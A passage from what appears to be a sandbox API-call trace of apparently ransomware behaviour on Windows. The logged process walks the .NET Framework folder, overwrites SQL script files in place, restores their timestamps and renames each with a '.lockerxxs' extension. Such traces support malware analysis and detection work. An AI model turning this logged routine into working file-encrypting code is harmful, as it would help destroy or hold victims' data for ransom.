[0137.732] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.732] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelEvents.dll") returned="ServiceModelEvents.dll" [0137.733] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x60be2080, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x15d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelPerformanceCounters.dll", cAlternateFileName="SERVIC~3.DLL")) returned 1 [0137.733] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.733] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelInstallRC.dll") returned="ServiceModelInstallRC.dll" [0137.733] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5b7a00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xd134e340, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x3d5b7a00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x1f812, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelPerformanceCounters.man", cAlternateFileName="SERVIC~1.MAN")) returned 1 [0137.733] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.733] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelPerformanceCounters.dll") returned="ServiceModelPerformanceCounters.dll" [0137.734] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x610f0f40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x34cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelReg.exe", cAlternateFileName="SERVIC~1.EXE")) returned 1 [0137.734] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.734] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelPerformanceCounters.man") returned="ServiceModelPerformanceCounters.man" [0137.734] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61247ba0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x46c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceModelRegUI.dll", cAlternateFileName="SERVIC~4.DLL")) returned 1 [0137.734] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.734] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelReg.exe") returned="ServiceModelReg.exe" [0137.735] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x612e0120, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ServiceMonikerSupport.dll", cAlternateFileName="SECA22~1.DLL")) returned 1 [0137.735] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.735] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceModelRegUI.dll") returned="ServiceModelRegUI.dll" [0137.736] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6158d9e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMDiagnostics.dll", cAlternateFileName="SMDIAG~1.DLL")) returned 1 [0137.736] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.736] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ServiceMonikerSupport.dll") returned="ServiceMonikerSupport.dll" [0137.736] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61756a60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x212a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSvcHost.exe", cAlternateFileName="SMSVCH~1.EXE")) returned 1 [0137.736] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.736] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMDiagnostics.dll") returned="SMDiagnostics.dll" [0137.737] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f9f3000, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x8b560f60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9f9f3000, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSvcHost.exe.config", cAlternateFileName="SMSVCH~1.CON")) returned 1 [0137.737] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.737] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMSvcHost.exe") returned="SMSvcHost.exe" [0137.737] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4760100, ftCreationTime.dwHighDateTime=0x1cd0c51, ftLastAccessTime.dwLowDateTime=0xd14a4fa0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd4760100, ftLastWriteTime.dwHighDateTime=0x1cd0c51, nFileSizeHigh=0x0, nFileSizeLow=0x2d1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="sortdefault.nlp", cAlternateFileName="SORTDE~1.NLP")) returned 1 [0137.737] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.738] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SMSvcHost.exe.config") returned="SMSvcHost.exe.config" [0137.738] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61815140, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xaee90, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOS.dll", cAlternateFileName="")) returned 1 [0137.738] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0137.738] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp") returned="sortdefault.nlp" [0137.738] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQL", cAlternateFileName="")) returned 1 [0137.738] lstrcmpA (lpString1=".", lpString2="SQL") returned -1 [0137.738] lstrcmpA (lpString1="..", lpString2="SQL") returned -1 [0137.738] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SOS.dll") returned="SOS.dll" [0137.739] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501574, cFileName=".", cAlternateFileName="")) returned 0x502518 [0137.740] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.740] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x8ab69340, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x8ab69340, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0137.741] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.741] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.741] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0137.741] lstrcmpA (lpString1=".", lpString2="en") returned -1 [0137.741] lstrcmpA (lpString1="..", lpString2="en") returned -1 [0137.741] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\*.*") returned="*.*" [0137.741] FindFirstFileA (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0137.747] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0137.747] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ab69340, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xd153d520, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xd153d520, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.747] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0137.747] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0137.747] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x4af, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="DropSqlPersistenceProviderLogic.sql", cAlternateFileName="DROPSQ~3.SQL")) returned 1 [0137.747] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.747] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\*.*") returned="*.*" [0137.750] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0137.750] CloseHandle (hObject=0x94) returned 1 [0137.763] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql") returned="DropSqlPersistenceProviderLogic.sql" [0137.763] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.763] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x489, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x489, lpOverlapped=0x0) returned 1 [0137.764] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.764] CloseHandle (hObject=0x94) returned 1 [0137.764] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql.lockerxxs")) returned 1 [0137.765] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9ec73840, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x528, dwReserved0=0xe80001e9, dwReserved1=0x4e00c4, cFileName="DropSqlPersistenceProviderSchema.sql", cAlternateFileName="DROPSQ~4.SQL")) returned 1 [0137.765] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.766] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql") returned="DropSqlPersistenceProviderLogic.sql" [0137.770] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql") returned="DropSqlPersistenceProviderSchema.sql" [0137.770] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.770] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x502, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x502, lpOverlapped=0x0) returned 1 [0137.771] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.771] CloseHandle (hObject=0x94) returned 1 [0137.771] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql.lockerxxs")) returned 1 [0137.771] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xcf45c540, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0x17b1, dwReserved0=0xe80001e9, dwReserved1=0x4e00c4, cFileName="DropSqlWorkflowInstanceStoreLogic.sql", cAlternateFileName="DROPSQ~1.SQL")) returned 1 [0137.771] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.772] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql") returned="DropSqlPersistenceProviderSchema.sql" [0137.774] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql") returned="DropSqlWorkflowInstanceStoreLogic.sql" [0137.774] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.775] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x178b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x178b, lpOverlapped=0x0) returned 1 [0137.775] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.775] CloseHandle (hObject=0x94) returned 1 [0137.775] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql.lockerxxs")) returned 1 [0137.776] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e7be00, ftCreationTime.dwHighDateTime=0x1cd0c4e, ftLastAccessTime.dwLowDateTime=0xcf45c540, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x8e7be00, ftLastWriteTime.dwHighDateTime=0x1cd0c4e, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName="DropSqlWorkflowInstanceStoreSchema.sql", cAlternateFileName="DROPSQ~2.SQL")) returned 1 [0137.776] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.777] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql") returned="DropSqlWorkflowInstanceStoreLogic.sql" [0137.779] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql") returned="DropSqlWorkflowInstanceStoreSchema.sql" [0137.780] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.780] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xec8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xec8, lpOverlapped=0x0) returned 1 [0137.780] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.780] CloseHandle (hObject=0x94) returned 1 [0137.780] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql.lockerxxs")) returned 1 [0137.791] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x1a58, dwReserved0=0xe90001e8, dwReserved1=0x4e00c4, cFileName="SqlPersistenceProviderLogic.sql", cAlternateFileName="SQLPER~1.SQL")) returned 1 [0137.791] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.791] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql") returned="DropSqlWorkflowInstanceStoreSchema.sql" [0137.840] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql") returned="SqlPersistenceProviderLogic.sql" [0137.840] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0137.840] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1a32, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1a32, lpOverlapped=0x0) returned 1 [0137.841] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0137.841] CloseHandle (hObject=0x94) returned 1 [0137.841] MoveFileA (lpExistingFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql.lockerxxs" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql.lockerxxs")) returned 1 [0137.842] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3e4400, ftCreationTime.dwHighDateTime=0x1cac5db, ftLastAccessTime.dwLowDateTime=0x9f09dec0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x7e3e4400, ftLastWriteTime.dwHighDateTime=0x1cac5db, nFileSizeHigh=0x0, nFileSizeLow=0x860, dwReserved0=0xd20001d3, dwReserved1=0x4e00c4, cFileName="SqlPersistenceProviderSchema.sql", cAlternateFileName="SQLPER~2.SQL")) returned 1 [0137.842] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0137.843] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql") returned="SqlPersistenceProviderLogic.sql" [0137.847] PathFindFileNameA (pszPath="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql") returned="SqlPersistenceProviderSchema.sql" [0137.847] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 